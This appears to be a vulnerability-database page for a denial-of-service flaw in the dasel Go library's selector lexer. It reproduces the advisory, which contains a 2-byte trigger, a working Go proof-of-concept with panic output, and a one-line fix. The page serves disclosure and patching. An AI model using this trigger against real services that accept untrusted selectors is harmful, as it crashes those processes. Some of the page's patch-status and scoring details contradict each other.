Skip to main content

dasel CVE-2026-46377

| EUVDEUVD-2026-44995 MEDIUM
Improper Validation of Array Index (CWE-129)
2026-05-19 https://github.com/TomWright/dasel GHSA-m5j3-4634-c2vq
6.2
CVSS 3.1 · Vendor: https://github.com/TomWright/dasel
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Identify service exposing dasel selector input
  2. Delivery
    Submit 2-byte payload `"\` as selector
  3. Exploit
    Lexer escape branch reads past slice end
  4. Execution
    Go runtime panic raised
  5. Impact
    Process crashes (DoS)

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V2 - Validation and Business Logic Array index validation
Exploitation Conditions

Exploitation requires that the target application pass an attacker-influenced string into dasel's selector lexer (e.g., lexer.NewTokenizer(input).Tokenize() or any higher-level dasel query API that reaches parseCurRune) using dasel/v3 between v3.0.0 and v3.10.0. The trigger is a quoted string ending with a backslash ("\ or '\, only 2 bytes). Limiting factors: dasel is primarily a developer-facing CLI/library, so selectors are usually hardcoded; exploitation is only possible where the host application accepts external selector input AND does not wrap dasel calls in recover(). There is no authentication or user-interaction requirement at the dasel layer itself - those gates, if any, are imposed by the embedding application.

Impact

The CVSS 7.5 vector (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H) reflects a clean availability-only impact: no privileges, no user interaction, and a trivial 2-byte trigger. However, the network attack vector is optimistic - dasel is primarily a CLI/library, so real exposure depends on whether a downstream application accepts attacker-controlled selector strings over the network (web apps using dasel for dynamic queries, services taking selectors as parameters). In purely developer-supplied selector use cases the practical risk is near zero; in user-influenced selector flows it is a one-shot process crash. EPSS, KEV, and SSVC data were not provided, but given dasel's CLI-tool profile and lack of vendor advisory beyond GHSA, this is most likely a low-to-moderate priority issue rather than a widespread mass-exploitation candidate. No public exploit identified at time of analysis as an in-the-wild campaign, though the PoC in the advisory is fully working.

Exploit ScenarioDerived

A web service that exposes a dasel-backed query endpoint - for example, letting users supply a JSON path selector to filter API responses - receives a request containing the 2-byte payload "\ as the selector value. The tokenizer hits the unbounded escape branch, panics, and crashes the worker or process. Working PoC code is published in the GHSA advisory, so weaponization requires no research beyond copy-paste.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
Patch available 0.1% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – May 19, 2026

Denial of service in dasel (Go data selector library) v3.0.0 through v3.10.0 allows attackers who influence selector query strings to crash the host process via a 2-byte input. A trailing backslash inside a quoted selector (e.g., "\ or '\) triggers an index-out-of-range panic in the lexer's escape-sequence handler. Publicly available exploit code exists (PoC in the GHSA advisory), and no public exploit identified at time of analysis indicates in-the-wild abuse.

RemediationAI

No vendor-released patch identified at time of analysis - the GHSA advisory (https://github.com/TomWright/dasel/security/advisories/GHSA-m5j3-4634-c2vq) lists no fixed version and the reporter confirms the bug persists on master. The reporter has proposed a one-line bounds check after the post-backslash pos++ that returns UnexpectedEOFError consistent with the existing unterminated-quote handling; downstream consumers can vendor this patch locally or pin a forked build until upstream merges a fix. As compensating controls, callers should validate or reject selector strings containing unescaped trailing backslashes before invoking the lexer, wrap dasel calls in a defer recover() to convert the panic into a handled error (trade-off: hides other genuine panics if too broad), or refuse to accept selectors from untrusted input entirely (trade-off: removes dynamic-query functionality). Monitor the upstream repository at https://github.com/TomWright/dasel for the fixed release.

Affected VersionsENISA

dasel 3.0.0, < 3.10.1

Affected Packages

go github.com/tomwright/dasel no fix
go github.com/tomwright/dasel/v2 no fix
go github.com/tomwright/dasel/v3 no fix
euvd dasel_3_0_0 fix: 3.10.1

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 4 packages in go, euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

dasel is a Go-based command-line tool and library for querying and modifying structured data (JSON, YAML, TOML, XML, CSV) using a selector syntax. The flaw lives in (*Tokenizer).parseCurRune at selector/lexer/tokenize.go:191-194, where the escape-sequence branch increments the position past a backslash and dereferences p.src[pos] without a bounds check. This maps to CWE-129 (Improper Validation of Array Index): the surrounding code correctly returns UnexpectedEOFError for unterminated quoted strings, but the escape path was overlooked. The affected CPE is pkg:go/github.com_tomwright_dasel_v3, covering the v3 module published at github.com/tomwright/dasel/v3.

Know when the next one hits your stack

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/TomWright/dasel) PRIMARY 6.2 MEDIUM
AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
SUSE HIGH

Primary rating from Vendor (https://github.com/TomWright/dasel).

CVSS VectorVendor: https://github.com/TomWright/dasel

Attack Vector
Local
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
None
Availability
High

Lifecycle Timeline

3
Patch available
Jul 16, 2026 - 22:19 EUVD
Severity Changed
Jul 16, 2026 - 19:22 NVD
HIGH MEDIUM
CVSS changed
Jul 16, 2026 - 19:22 NVD
7.5 (HIGH) 6.2 (MEDIUM)

DescriptionCVE.org

Summary

dasel's selector lexer panics with an index-out-of-range error when tokenizing a quoted string that ends with a trailing backslash (e.g., "\ or '\). A 2-byte input causes an immediate process crash via Go runtime panic.

I confirmed the issue on v3.3.1 (fba653c7f248aff10f2b89fca93929b64707dfc8) and on master commit 0dd6132e0c58edbd9b1a5f7ffd00dfab1e6085ad. I also verified the same code path is present in v3.0.0 (648f83baf070d9e00db8ff312febef857ec090a3). No fix is available yet.

Details

The bug is in the escape sequence handler within (*Tokenizer).parseCurRune in selector/lexer/tokenize.go#L191-L194:

go
if p.src[pos] == '\\' {
    pos++
    buf = append(buf, rune(p.src[pos]))  // line 193: no bounds check
    pos++
    continue
}

When a backslash is the last character inside quotes, pos++ increments the position past the end of the input. The subsequent p.src[pos] attempts to read past the end of the slice, which Go turns into a runtime panic: runtime error: index out of range [2] with length 2.

Notably, the same function already handles unterminated quoted strings by returning UnexpectedEOFError, but the escape sequence path does not perform a similar bounds check.

Minimal trigger: "\ or '\ (2 bytes)

Test environment:

  • MacBook Air (Apple M2), macOS / Darwin arm64
  • Go 1.26.1
  • dasel v3.3.1 (fba653c7f248aff10f2b89fca93929b64707dfc8)

PoC

go
package main

import (
	"fmt"
	"runtime"
	"runtime/debug"

	"github.com/tomwright/dasel/v3/selector/lexer"
)

func main() {
	fmt.Printf("Go version: %s\n", runtime.Version())
	fmt.Printf("GOARCH: %s\n", runtime.GOARCH)
	fmt.Println()

	for _, input := range []string{`"\`, `'\`} {
		fmt.Printf("Input: %s\n", input)
		func() {
			defer func() {
				if r := recover(); r != nil {
					fmt.Printf("PANIC: %v\n", r)
					debug.PrintStack()
				}
			}()
			t := lexer.NewTokenizer(input)
			tokens, err := t.Tokenize()
			if err != nil {
				fmt.Printf("Error: %v\n", err)
			} else {
				fmt.Printf("OK: %d tokens\n", len(tokens))
			}
		}()
		fmt.Println()
	}
}

Observed output on v3.3.1 in the test environment above:

text
Go version: go1.26.1
GOARCH: arm64

Input: "\
PANIC: runtime error: index out of range [2] with length 2
goroutine 1 [running]:
...
github.com/tomwright/dasel/v3/selector/lexer.(*Tokenizer).parseCurRune(...)
    .../selector/lexer/tokenize.go:193 +0x1c2c
...

Input: '\
PANIC: runtime error: index out of range [2] with length 2
goroutine 1 [running]:
...
github.com/tomwright/dasel/v3/selector/lexer.(*Tokenizer).parseCurRune(...)
    .../selector/lexer/tokenize.go:193 +0x1c2c
...

Impact

An attacker who can control or influence the selector/query string passed to dasel can trigger a Go runtime panic and crash the process unless the caller explicitly recovers from panics.

The selector string is typically provided by the application developer, but there are deployment scenarios where it may be attacker-influenced:

  • Web applications using dasel for dynamic data querying
  • Applications that construct selectors from user input
  • Shared tooling environments where selectors are passed as parameters

Suggested Fix

Add a bounds check after incrementing pos past the backslash, consistent with the existing UnexpectedEOFError handling for unterminated quoted strings:

go
if p.src[pos] == '\\' {
    pos++
    if pos >= p.srcLen {
        return Token{}, &UnexpectedEOFError{Pos: pos}
    }
    buf = append(buf, rune(p.src[pos]))
    pos++
    continue
}

Executive ViewAI

Why It Matters

dasel (Go data selector library) versions 3.0.0-3.10.0 contain a denial-of-service vulnerability that allows attackers to crash the host process through malformed selector queries containing a trailing backslash; publicly available exploit code exists. Organizations using vulnerable versions must immediately identify affected applications and implement input validation controls, as no vendor patch is currently available.

Business Impact: High
Compensating Controls

Implement input validation to sanitize and reject selector queries containing trailing backslashes inside quoted strings; deploy rate limiting on APIs accepting selector input to reduce DoS impact; configure automated service restart to minimize downtime; establish logging and alerting for suspicious selector patterns.

Threat Intelligence Overview

EPSS Score
0.1%
Top 83% exploitable
Threat Intel
1
1 source
Data Quality
7 sources
Confidence: High
EUVD NVD CVE.org EPSS GHSA Vendor GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC No
EPSS 0.1%
Patch available Yes
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation· derived
None
System Exposure· derived
Small
Automatable· derived
No
Human Impact
High

Priority Score

31
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +31
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Denial of Service attacks render applications or systems unavailable by overwhelming resources or triggering failure conditions.

Vendor StatusVendor

SUSE

Severity: Important
Product Status
SUSE Linux Enterprise Server 16.1 Affected
SUSE Linux Enterprise Server for SAP applications 16.1 Affected
SUSE Linux Enterprise Module for Package Hub 15 SP5 Affected
SUSE Linux Enterprise Module for Package Hub 15 SP6 Affected
openSUSE Leap 15.5 Affected

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy